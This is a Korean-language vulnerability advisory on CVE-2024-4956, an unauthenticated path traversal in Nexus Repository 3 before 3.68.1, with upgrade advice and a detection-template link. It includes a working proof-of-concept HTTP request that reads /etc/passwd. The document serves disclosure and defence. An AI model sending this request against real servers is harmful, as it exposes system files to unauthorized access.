
Nexus Repository 3의 인증되지 않은 경로 탐색
Nexus Repository Manager는 개발에 필요한 아티팩트를 구성, 저장 및 배포하는 리포지토리 관리자입니다.
Nexus Repository 3에서 3.68.1 이전 버전에 경로 탐색 취약점이 발견되었습니다. 이 취약점을 통해 공격자는 인증 없이 Nexus Repository 애플리케이션의 범위를 벗어난 시스템 파일을 다운로드할 수 있는 URL을 만들 수 있습니다. 이는 중요한 시스템 파일을 노출하고 Nexus Repository가 설치된 환경의 보안을 손상시킬 수 있으므로 상당한 위험을 초래합니다.
이 취약점을 완화하려면 Nexus Repository를 가능한 한 빨리 버전 3.68.1 이상으로 업데이트하는 것이 좋습니다.
취약점에 대한 자세한 정보와 기술적 세부 사항은 다음 링크를 참조하십시오:
참고 자료:
이 취약점은 Sonatype Nexus Repository Manager의 3.0부터 3.68.0까지의 버전에 영향을 미칩니다.
Nexus Repository를 업그레이드하는 것이 이 취약점을 제거하는 데 권장되는 방법입니다. 그러나 즉시 업그레이드할 수 없는 배포 환경을 위한 즉각적인 완화 옵션도 제공됩니다:
참고 자료:
GET /%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0
위의 PoC를 사용하면 /etc/passwd 파일에 접근하는 것을 확인할 수 있습니다:

(CVE-2024-4956.yaml) https://github.com/erickfernandox/CVE-2024-4956/blob/main/CVE-2024-4956.yaml